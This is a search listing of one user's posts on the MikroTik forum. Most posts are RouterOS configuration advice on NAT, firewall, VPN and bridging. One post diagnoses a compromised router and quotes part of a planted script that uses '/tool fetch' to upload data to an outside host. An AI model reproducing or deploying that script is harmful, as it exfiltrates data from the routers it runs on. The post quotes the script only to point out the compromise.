MikroTik

evince

Yes,

ip dns set allow-remote-requests=yes servers=1.1.1.1 (or whatever dns server you want)
If you do that, make sure your firewall rules are properly configured.

evince

Hello,

Change this : 10.0.0.1/24 to 10.0.0.1/32

Regards,

evince

Very nice upgrade,
*) netwatch - added "src-address" property;

Please add the option to be able the ping IP for failover in route. example: check gateway ping 1.1.1.1 that would helps

+1. It'd be very useful.

evince

Since this Update my OpenVPN Windows Clients are unable to connect. Mikrotik to Mikrotik with OpenVPN is working. Anyone else see this Problem?

Working fine for me

evince

In theory, this entry is needed when behind nat device.

When you check the logs, the is not nat.

evince

*) lte - improved LTE interface detection for LtAP-2HnD devices;
Does this have to do with the LTE interface totally missing in some occasions ?

+1

evince

+1, unable to make it working,

I've tried with IKEv2 but same problem :/

If someone can tell me what are good configuration for phase1&phase2.

Thank you in advance,

evince

Hello,

You need to create .rsc file (readable)

Go to terminal and type : export file=(the-name-you-want), then go to FILES and download it.

evince

Hello,

Take a look at this, maybe it is the solution. https://docs.microsoft.com/en-us/troubl ... t-t-device

Regards,

evince

Same problem for me,

L2TP clients are not able ton connect to my my hub vpn when ipsec is enabled.

evince

Hello pe1chl,

Thank your for your help.

My router woks as a L2TP/IPSec server. Sometimes my customers are able to connect with IPSec enabled, but I cannot join anything in their network. If I disable IPSec, I can join the whole network.

All was working before upgrading to ver.7.

Regards,

evince

After upgrade to 7.1.1 from v6 i have an issue with l2tp+ipsec with error

<ip>: authentication failed: peer didn't respond to CHAP challenge

Same for me. if i disable ipsec, all is working.

evince

Same problem for me

evince

OK tank you Normis, but why under adresse liste it il showed unknow as interface ?

evince

Hi all, I have installed zerotier package, configured it and all is running. By the way I cannot see the "zerotier interface" under intercace list, only by cli. If I check the address list, it is displayed "unknow" as interface but I do have an IP address and the tunnel is workin...

evince

Hello, sipmly use masquerade rule :
/ip firewall nat
add action=masquerade chain=srcnat comment="masquerade" out-interface=Ether1 src-address=your_lan_subnet

evince

Check in your firewall rules if fasttrack is enabled, if it is you have to fine tune it for have it to work.

evince

Hello,

Take a look at this wonderful tip : viewtopic.php?t=148665

It works great :)

evince

Hello,

i cannot see any ip address for ether1, how is it configured?

evince

Hello,
Maybe add proxy-arp to your bridge?

evince

Same here :/

evince

Hello, we you run your speedtest, check your cpu's :

/system resource monitor

Maybe 1 is 100% of load.

evince

Hello, take a look at your masquerade rule, maybe out-interface is wrong.

evince

Hello, the best way is to create a new user with full rights and then disable default admin user.

evince

*) branding - fixed LCD logo loading from new style branding package; How can we add a LCD logo? It would be great to add a custom image with our company logo and the Router-Name. Go to your Mikrotik account, At the bottom you see other. Click on branding maker. Here you can add your logo. Then you...

evince

Hello, you have an error on your NAT rule :

add action=dst-nat chain=dstnat dst-port=341 log=yes protocol=tcp to-addresses=192.168.1.5 to-ports=341

You need to add in-interface=ether1.

And your logs show : ==> 10.29.4.87.

Maybe your ISP uses CGNAT.

evince

Dear Sindy,

UPNP is enabled :(

/ip upnp
set enabled=yes
/ip upnp interfaces
add interface=bridge1 type=internal
add interface=bridge2 type=internal
add interface=ether1 type=external

evince

Hello, if you get an address from sf1 interface it is because dhcp-client is enabled on this interface. Why don't you disable this dhcp-client instead?

evince

Hello, the best is to post your config here : /export hide-sensitive

evince

Hello,

With a LTE connection, you'll not be able to forward ports.

evince

Thank you for your answer, but it'd be easier to implement it directly :)

evince

Dear Mikrotik support, it would be great if it was possible to choose the gateway to ping in /IP route.

At the moment, only the gateway is possible. I'd like to be able to choose another IP as 8.8.4.4 for example.

Thank you in advance,

evince

+1 or interface

evince

Hello, add a default route 0.0.0.0/0 gw=your_l2tp_tunnel and a nat rule.

evince

Hello,

Check your firewall rules. Maybe you have to add an accept rule for ICMP

evince

Hello,

Make sure your HAP is configured in ap bridge mode.

Regards,

evince

Hello,

Take a look here : https://wiki.mikrotik.com/wiki/Hairpin_NAT

Regards,

evince

Hello, try this :

/ip firewall nat
add chain=srcnat src-address=192.168.0.0/24 \
dst-address=192.168.0.10 protocol=tcp dst-port=999 \
out-interface=bridge action=masquerade
Out interface name should be your bridge name.

Regards,

evince

Hello,

If you have bridged all the ports, you have to add dhcp client on that bridge, and then it will receive an ip address from your Huawei.

Regards,

evince

Hello, is it the right version of your Mikrotik??

Please upgrade your router first, then use TLS instead of layer7.

Regards,

evince

Hello, did you configure your profile? with local and remote addresses?

evince

CHR updated to 6.46.4 (onlys used for dude).

now i can see in the terminal : 12:59:16 echo: system,error,critical login failure for user admin from 127.0.0.1 via winbox

by the way, no logs showed anymore in /logs.

evince

No, you do not need NAT rule as you have a public subnet.

Depending to how is configured your connection, you can assign your wan ip directly on your devices.

First, you need to assign an ip address to your "bridge" if you have 1, and the use this address as gateway on your devices.

evince

Is ether1 a part of your bridge?

evince

Hello,

Do you have dhcp-client enabled on ether1?

evince

Hi!
I also have an error std failure: not allowed (9).
Installed v6.46.4 [stable], the user has full rights
Is there a solution?

Hello, did you upgrade your dude?

evince

Of course, the route needs to be on PFSENSE

it seems logical

evince

OK, maybe you have a firewall rule that's blocks your request. Try to disable all drop rule first. If it works, then adjust them

evince

To resolve: a static route to the 192.168.5.0/24 network is needed on PF Sense using the IP of the 10.10.0.60 address on the MikroTik as the GW. Also create a gateway entry and FW rules if needed. If you look correctly, he need to route 192.168.0.0/16, as 192.168.5.1 is a part of this network

evince

Hello,

You'll need to add a route : ip route add dst-address=192.168.0.0/16 gateway=10.100.0.60 distance=1

evince

Hello,

Just add the distance at the end of your routes.

aaa.bbb.ccc.ddd/32 eee.fff.ggg.hhh 120

Reagrds,

evince

Hello, you need hairpin nat rules.

Regards,

evince

Ok, so do not use in-interface but dst-address instead.

evince

Hello,

On your NAT rule, did you choose in-interface or dst-address?

evince

Hello,

You need to create a skin via webfig and the user the rights you want. And then assign the skin to this user.

Take a look at this : viewtopic.php?t=52184

Regards,

evince

Is the hotspot still broken on anything over 6.44.6?

Yes hotspot is still broken, need to install long term version.

evince

Upgrade successful, btw BGP is broken

evince

Hello,

What are you trying to achieve? Do you want to accessyour servers from the Internet?

if so, you need 2 differents ports. And for security reason, change the default port and add an access list

evince

Hello,

for your NAT rule, you need to specify your out-interface (ether1)

Regards,

evince

+1 it woul'd be very interesting.

evince

Dear all,

Can you tell me if option 160 is working on Mikrotik? I'm not able to make it working.

Thank you in advance,

evince

Dear all,

I'd like to monitor a second WAN with PPPoE dynamic IP. Is there any way?

Thank you in advance,

evince

You think there is any chance in the future to support multi-wan setups? One option is to prepend or append the interface number to the dyndns hostname? pppoe-out1 = xxxxx-1.sn.mynetname.net pppoe-out2 = xxxxx-2.sn.mynetname.net This! We need to be able to monitor backup connections that have dynam...

evince

TLS is working, i do use it @ work. Where did you place your rule? do you have matching?

evince

No, do not use L7, but TLS Host.

/ip firewall filter
add action=reject chain=forward comment="block youtube" protocol=tcp reject-with=icmp-network-unreachable tls-host=*youtube*

evince

Hello, you need to brigde all the ports in order to make it work.(or at lease the uplink)

evince

Same problem today, unable to connect

evince

Hello,

It seems to be a TCP/MSS problem, take a look at this :

https://wiki.mikrotik.com/wiki/Manual:I ... all/Mangle

evince

Hello, it can be a TCP/MSS issue

evince

Hello, check your profile if you have local address assigned.

evince

Hello,

try to first remove his entry in the DHCP Lease, and then reconnect it.

evince

Hello, For your second line (adsl) you need to plug it on an isolated port (this port can not be a prt of your bridge) Then just add route regarding the setup you need. If your ETH2 is a part of your bridge, you need to assign an ip and the dhcp server to this. All your configuration will pint to th...

evince

Hello,

Be sure you do not have any firewall rule that drops forward trafic

evince

I don't know why, but it happens if you're using another profile, but not default-encryption . Set your PPP connection to use default-encryption and it will connect. I tried to create other profiles with the same settings as default-encryption, but they actually doesn't work as default-encryption. ...

evince

Take a look here : https://wiki.mikrotik.com/wiki/Manual:Interface/Bonding

evince

Hello, you need to enable PPT Server. Go to PPP then PPTP Server or via the terminal past this line : /interface pptp-server server set enabled=yes

evince

Hello,

the best way is to use Netinstall and reconfigure your router.Be sure don't use same password as before hacking.

evince

Hello,

You should use TLS Host feature instead of Layer 7 protocol.

Take a look at this : viewtopic.php?t=129672

evince

Hello, update your router to 6.43.2 and update your winbox

evince

Hello,

You can use L2TP/IPSec for your tunnels. Then your LTE will work as client and will not care of dynamic IP.

evince

Hell, maybe phase2 proposals not correct.

evince

Hello, let the password blank and try again, it will work

evince

evince

OK 3 ;;; enable ssh from outside chain=input action=accept protocol=tcp dst-port=22 log=no log-prefix="" should be 3 ;;; enable ssh from outside chain=forward action=accept protocol=tcp dst-port=22 log=no log-prefix="" Because input chain is for the router itself, and forward is ...

evince

Do you have any forward rule in your firewall filter?

Even if the counter increases, you need to specify dst-address or in-interface.

evince

Hello,

/ip firewall nat
add action=dst-nat chain=dstnat dst-port=5022 protocol=tcp to-addresses=192.168.100.22 to-ports=22

You need to specify in-interface (your WAN) or dst-address.(Your public IP)

Regards,

evince

Hello,

1 chain=dstnat action=dst-nat to-addresses=192.168.10.15 to-ports=80 protocol=tcp dst-address=Public-IP-Address
in-interface=pppoe-out1 dst-port=80 log=no log-prefix=""

Either you choose dst-address or in-interface but not both.

evince

In your configuration we can see : add action=change-mss chain=forward new-mss=1500 protocol=tcp tcp-flags=syn \ tcp-mss=1361-65535 It shouldn't work. And why did you set MTU 1520 to your bridges? Then, your router is still compromised : /ppp aaa set interim-update=1m use-circuit-id-in-nas-port-id=y...

evince

Hello, There is some errors in your configuration : /caps-man datapath add bridge=bridge local-forwarding=yes name=datapathVlan20 vlan-id=20 vlan-mode=use-tag add bridge=bridge local-forwarding=yes name=datapathVlan30 vlan-id=30 vlan-mode=use-tag You use default bridge for both datapath, either you ...

evince

ello,

You can add many schedule per day, just use arrows next to the corresponding day.

Regards,

evince

Hello, your router seems to have been attacked, check this : /system script add name=ip owner=admin policy=\ reboot,read,write,policy,test,password,sniff,sensitive source="{/tool fetch \ url=(\"http://www.boss-ip.com/Core/Update.ashx ... 98fa&actio\ n=upload&sncode=F8C49100B20F15CD...

evince

Hello, check if you don't have a TCP/MSS problem.

evince

Of course,

Create a bridge and add thoses interfaces to the bridge

evince

Hello, don' use layer 7, use this instead :

/ip firewall filter
add chain=forward dst-port=443 protocol=tcp tls-host=*.facebook.com action=reject
add chain=forward dst-port=80 protocol=tcp tls-host=*.speedtest.net action=reject

evince

Yes you can use these DNS

evince

You're correct, but then you'll also need to set DNS.

Of course

evince

The default route is needed if you want Internet directly on your router (for updates,...)

evince

Hello, just go to /ip Address and add the corresponding address to your bridge.

And /ip route for your default route.

Do you use Winbox or Webfig?

evince

Hello,

Can you export your settings regardins l2tp configuration please?

evince

Hello, yes you need a rule like this : /ip firewall nat add action=accept chain=srcnat dst-address=192.168.88.0/24 src-address=192.168.0.0/24 (Router 192.168.0.1) and in the second router : /ip firewall nat add action=accept chain=srcnat dst-address=192.168.0.0/24 src-address=192.168.88.0/24 (Router...

evince

Hello,

Just add all the ports to the bridge, assign an IP Address to this brdge and add a default route.

evince

VPN IPSec between Fortigate and Mikrotik is quite easy. The only need is to match both phase1 and phase2. In fortigate side, you can choose interface mode instead of policy based vpn if you prefer

evince

Hello, you can try this :

/ip firewall filter
add action=reject chain=forward protocol=tcp reject-with=icmp-network-unreachable src-address=192.168.0.5-192.168.0.254 tls-host=*.youtube.com

Adapt the src-address as you need.

evince

Hello,

Create a first mangle rule in accept mode for the excluded IP.

evince

Hello, you need to add your src-address in ipsec policy :

/ip ipsec policy
set 0 dst-address=192.168.2.0/24 src-address=0.0.0.0/0

The, create a nat rule in src nat and accept, src-address=your_lan and dst_address=remote_lan.

Place the policy in the top.

Regards,

evince

Hello,

/ip hotspot user profile
set [ find default=yes ] shared-users=1

evince

irghost, raffav, Cha0s - Seems that we have found an issue with new TLS matcher. We will try to fix it as soon as possible;
v6.42rc14, and still not working

Ok it is working, it was a problem of configuration.

evince

Version 6.42rc15 has been released. Changes since previous release: *) routerboard - added RouterBOOT "auto-upgrade" after RouterOS upgrade (extra reboot required); If you experience version related issues, then please send supout file from your router to support@mikrotik.com. File must b...

evince

Hello,

Did you put your nat rule in the top?

evince

L2TP/IPsec is limited to only one peer behind NAT. It is suggested to use IKEv2 for such occasions. I still don't exactly understand why? The IPsec peer dynamically generated by l2tp-server configuration with use-ipsec=required has nat traversal support set to "yes", and the L2TP is tunne...

evince

evince - Have you opened support ticket regarding this issue? We have not received any more complaints that this option would not work and have not experienced any more issues with it in our lab.

Hello Strods, i'll open a ticket right now, thank you.

evince

irghost, raffav, Cha0s - Seems that we have found an issue with new TLS matcher. We will try to fix it as soon as possible;

v6.42rc14, and still not working

evince

Just disable firewall rule regarding ICMP protocol.

It is a good idea to disable PING (or filtering with address-list)

evince

Of course, because this network is maybe not authorized to masquerade.I've this setup, but with gre over ipsec

evince

Hello,
did u masquerade 10.0.0.0/16 in the second router?

evince

Why don't u use Vlan?

It is realy more secure.

evince

I'll add something. Do not forget the changes for the 6.412 version.

Take a look to your bridge, and be sure that ports 2,3,4 and 5 are on the bridge.

evince

Hello, did you create the NAT rule, and is it in the top of the list?

evince

Hello, can you tell me if the connection is established or not?

I can tell you it is working, i just build a vpn and all is working

evince

Hello, can you post your configuration?

evince

Hello, post your config it'll be more easy to help you

evince

Hello, there is a mistake :

add action=drop chain=input in-interface=!ether1 protocol=icmp icmp-options=8:0-255

should be

add action=drop chain=input in-interface=ether1 protocol=icmp icmp-options=8:0-255

evince

As i can see your rules for winbox are disabled.

evince

Hello, your config is not complete, there is no nat, firewall and route rule

evince

Not at all, it just means that your cap will be in the same bridge than your main network

You can keep your capsmanager

evince

It should be done directly on your device, not via caps manager. Just bridge ether1 and wlan in your CAPlite

evince

Hello, you do not need a dhcp relay, but your devices have to be configured in bridge mode, so they will get an ip from your main router.

evince

Hello, can you post your config please?

Or mayben, you just need to activate proxy-arp on your local bridge or lan interface, depending your configuration.

evince

Hello, You have a problem with your configuration, /ip address add address=192.168.88.1/24 comment=defconf disabled=yes interface=combo1 network=192.168.88.0 add address=192.168.2.187/24 comment="xxxx" interface=ether3 network=192.168.2.0 add address=192.168.1.3/24 interface=ether1 network...

evince

Hello, post your config please : export compact hide-sensitive

evince

Hello, i have a guest network and here is what is done :

Firewall rule to allow only 80,443,25,587 TCP and 53 UDP

Setting a queue rule : upload 2Mb and download 5Mb

Regards,

evince

Hello,

Mikrotik can send magic packets but can not receive them.

Regards,

evince

Hello,

It a hairpin nat problem : https://wiki.mikrotik.com/wiki/Hairpin_NAT

Regards,

evince

Hello,

Use another subnet for your VPN users and add some firewall rules. First, allowing VPUser to "Some hosts" and then add a drop rule for the whole LAN. Each in forward chain.

Regards,

evince

Hello,

Take a look at this great and easy tutorial, you should find the problem : http://gregsowell.com/?p=787

Regards,

evince

Hello, check if HTTP server is not running on your board : /ip service

evince

Post your MANGLE rules, as you avec routing mark too.

evince

Hell, you need to activate the feature in order to see the files.

Regards,

evince

Hello, there is a problem in your config : /ip address add address=192.168.0.1/24 interface=if_lan network=192.168.0.0 add address=192.168.0.1/24 interface=if_wlan network=192.168.0.0 add address=192.168.0.1/24 interface=if_voip network=192.168.0.0 add address=192.168.88.1/24 interface=if_mgmt netwo...

evince

If someone needs an update, i could get it working

I'd set WAN IP's in DHCP Relay parametres and use interface WAN in the DHCP server Interface.

evince

Hello,

Disable the first rule : add chain=dstnat dst-address=78.11.111.114 protocol=tcp dst-port=80 action=dst-nat to-address=10.1.1.1

Ant try from WAN and LAN.

evince

Hello,

Your hairpin nat rule should look like this :

add action=dst-nat chain=dstnat comment="hairpin nat" dst-address=!10.1.0.0/16 dst-address-type=local log=yes log-prefix=hairpin to-addresses=10.1.1.1

Regards,

evince

Same problem here, ticket open to the support

evince

Use the Group tab!

Ok Normis but after that? How to upgrade Routerboard?

evince

Hello, You have a mistake in your addresses : [admin@MikroTik] > ip address print Flags: X - disabled, I - invalid, D - dynamic # ADDRESS NETWORK INTERFACE 0 172.16.0.1/23 172.16.0.0 ether1 1 172.16.1.1/24 172.16.1.0 vlan1 2 172.16.100.1/24 172.16.100.0 vlan100 vlan1 subnet is a part of your ether1 ...

evince

Hello, check if your interfaces are in the same bridge than ether2.

evince

Hello, here is a good tutorial

http://alsacecom.fr/blog/2012/05/24/mik ... ynamic-ip/

evince

You have to activate on on the router where you establish your L2TP connection under bridge(or LAN_INTERFACE) ==> ARP and then choose proxy-arp in the drop-list

evince

Did you enable proxy-arp on your LAN interface (or bridge) ?

evince

Hello, try a script like this : /system script add name=update_dyns_ipsec owner=admin policy=\ ftp,reboot,read,write,policy,test,sniff,sensitive source="/system script\r\ \n:global LocalSite [:yourdomain.com]\r\ \n:global RemoteSite [:resolve remotedomain.com]\r\ \n/ip ipsec policy set 1 sa-dst...

evince

Hello,

As your 1723 TCP port is open from outside, it is "normal" to see this kind of line. Hackers always try to connect to open ports.

Regards,

evince

Hello,

Take a look to this great and easy tutorial : http://gregsowell.com/?p=787

Regards,

evince

Or a TCP/MSS issue.

evince

Hello, post your config, you should have something wrong on it.

Regards,

evince

Hello,

For me the best way would be :

- Configure both Internet connection in 1 router. And just add 2 static routes with differents costs.

evince

Now, you need to add some A Records to your DNS zone, like :

- Subdomain1.domain.com IP: xxx.xxx.xxx.xxx
- Subdomain2.domain.com IP : xxx.xxx.xxx.xxx

evince

It is owned by MikroTik. Nothing bad there. It is the same server, just an alternate domain

Ok thank you Normis

evince

Hello, i was ooking for something on Google, and here is what i have found : https://wiki.microtik.com

Be careful with this site.

evince

Hello, read again and it will work, i have the same setup and all is working great.

How do I actually create a different address for each server?
Subdomain1.domain.com
Subdomain2.domain.com

Just add static DNS entries on your Mikrotik.

evince

Hello, yes you can runs ROs in vmware, download your image here : https://mikrotik.com/download

Follow this tutorial : https://vworld.nl/?p=2651 by exemple

Regards,

evince

Hello, you should post your config if you need help.

evince

Hello,
Just the dst-address. Out interface is not for inbound traffic, just outbound with masquerade action.

Sent from Tapatalk

You are right, sorry it is a mistake

I'd say in-interface instead of out-interface

evince

Hello,
Just the dst-address. Out interface is not for inbound traffic, just outbound with masquerade action.

Sent from Tapatalk

It depends if he runs with multiple public IP

evince

Yes, in the properties of the vpn connection (client side) just add the DNS suffix

==> Properties ==> Network management ==> TCP IPv4 ==> properties ==> advanced ==> DNS

evince

Hello, the problem should be from your routing table. You need mangle rule + correct route for your setup.

evince

Hello, it looks like a MTU or TCP-MSS problem, try to change those values and try again

evince

Hello, in your NAT rules, you need to specify the out-interface(WAN) or dst-address (your public IP)

Regards,

evince

Hello,

It seems like if you have a 100M switch or something else between your CCR and your customers

evince

Hello, in your pptp client, just add a DNS suffix, it will solve your problem.

evince

Hello, just add a firewall rule like this :

/ip firewall filter
add action=drop chain=forward dst-address=192.168.1.0/24 src-address=10.0.0.0/24

Be sure to put it before your accept rule.

Regards,

evince

Hello, you should post your config if you want help.

Regards,

evince

Hello, try adding /32 in your route = 10.6.6.254/32 or something else = 10.6.6.0/24

evince

Hello, you ca do like this : /ip firewall mangle add action=mark-routing chain=prerouting log-prefix=MANGLE new-routing-mark=To_WAN2 passthrough=no src-address=xxx.xxx.xxx.xxx where xxx.xxx.xxx.xxx is the ip address of your server and add a default route /ip route add disabled=yes distance=1 gateway...

evince

Hello, your webserver is now reachable, i can display it. If you want to open from your local network, you will need HAIRPIN http://wiki.mikrotik.com/wiki/Hairpin_NAT

Regards,

evince

There i a mistake in your NAt rule : 1 chain=dstnat action=dst-nat to-addresses=192.168.10.110 to-ports=80 protocol=tcp dst-address=192.168.10.110 dst-port=80 log=no Shoud be 1 chain=dstnat action=dst-nat to-addresses=192.168.10.110 to-ports=80 protocol=tcp dst-address=xxx.xxx.xxx.xxx dst-port=80 lo...

evince

Ok i have found, here is the correct value :

/ip firewall mangle
add chain=forward protocol=tcp tcp-flags=syn action=change-mss new-mss=1400

Regards,

evince

Thank you for your help, your solution is working

/ip firewall mangle
add chain=forward protocol=tcp tcp-flags=syn action=change-mss new-mss=1400

evince

Dear all, here is the schema : modem bridge ==> Mikrotik RB2011 UAS-RM (v6.38.1) client <==> Fortigate There is a gre tunnel between mikrotik and fortigate. All the trafic is routed to the Fortigate But i have a problem, some websites (HTTPS essentialy) won't open.I have the problem only through GRE...

evince

Have a look at your linksys configuration. According to the image it has same IP as the mikrotik. It is normal : " This is the configuration on the WAN side. Ignore the fact that it shows Linksys - this was a screenshot taken before swapping the Linksys to a Mikrotik. LinksysNetworkConfig.jpg ...

evince

Hello, here is the way :

ip firewall filter print
edit [number of the line]
value-name: dst-port (then press Enter)
just erase the line 500
CTRL+O to save and quit

Regards,

evince

Hello, your config should be something like this :

/interface vlan

add interface=ether5 name=vlan-pppoe vlan-id=7

/interface pppoe-client
add disabled=no interface=vlan-pppoe max-mru=1480 max-mtu=1480 mrru=1600 name=pppoepassword=****** user=******

evince

Thank you for your help, but i receive too many emails (connecting, ... disconnected,...)

A single mail with status=connected/disconnected would be great

evince

Dear all, here is the scenario. 1 PPPoe-client with static IP (main connection) and 1 pppoe-client with dynamic IP. If the main connection goes down, the backup line automaticaly runs. What i'd like is monitor dynamic pppoe-client, if it goes down, it send me an email. And when it come back up, the ...

evince

Hello,

Here is an example :

/queue simple
add limit-at=10M/30M max-limit=10M/30M name=queue1 target=bridge-local

Regards,

evince

You have an error in your syntax, please use first "add" command.

Regards,

evince

Hello pe1chl,

I'm not able to achieve ths scenario. I have read some tutorials and i could see i need to activate dhcp relay on Site2.

I have never do this, so please be patient

Thank you in advance,

evince

Ok thank you for your help, i'll try this

evince

Hello, the problem is that i can not choose the gre interface in the drop list (interface).

Regards,

evince

Dear all, I'm running gre tunnels with Fortinet Firewall (Hub VNP). I'd like to know how to set up a DHCP relay. The schema is quite simple : Site1 (Mikrotik) ==> Fortinet (UTM) ==> Site 2 MKT The DHCP server should give addresses from Site1 to Site2 If someone could help me? Thank you in advance, K...

evince

Hello,

Be sure you set up DNS server(s). Try to ping e.g : google.com from terminal.

Regards,

evince

Why do not turning off DHCP on msf uplink and fix an IP on your msf-AP1?

2 DHCP on a network is never advisable.

evince

When you update the firmware, you have to check if there is a new routerboard. You can see it at /system routerboard

evince

I did not use something special, i just woul'd answer with an URL and here is what appears

evince

Here is a screenshot :

Regards,

evince

Hello Normis,

As you can see there is a problem with text formatting, We can see HTML tags.

Regards,

evince

Trying to reply, and here is how it looks : Hello, You can download your firmware image from here : http://www.mikrotik.com/download Then, just drop the file into your router and reboot it. Do not forget to upgrade routerboard too. The difference between RB951G-2HnD & RB751G-2HnD is CPU and ...

evince

Hello, You can download your firmware image from here : http://www.mikrotik.com/download Then, just drop the file into your router and reboot it. Do not forget to upgrade routerboard too. The difference between RB951G-2HnD & RB751G-2HnD is CPU and memory (in large) Before restore your backup fro...

evince

Do you have any firewall rule that can black incoming trafic from your IP to the router?

Maybe, try to change your local IP and try again

evince

Hello, try to reinstall RouterOS via NetInstall : http://wiki.mikrotik.com/wiki/Manual:Netinstall

evince

Hello, if you want to reach vlan's on mikrotik 2 from vlan's on mikrotik 1, then you'll need to configure ip route.

Regards,

Search found 361 matches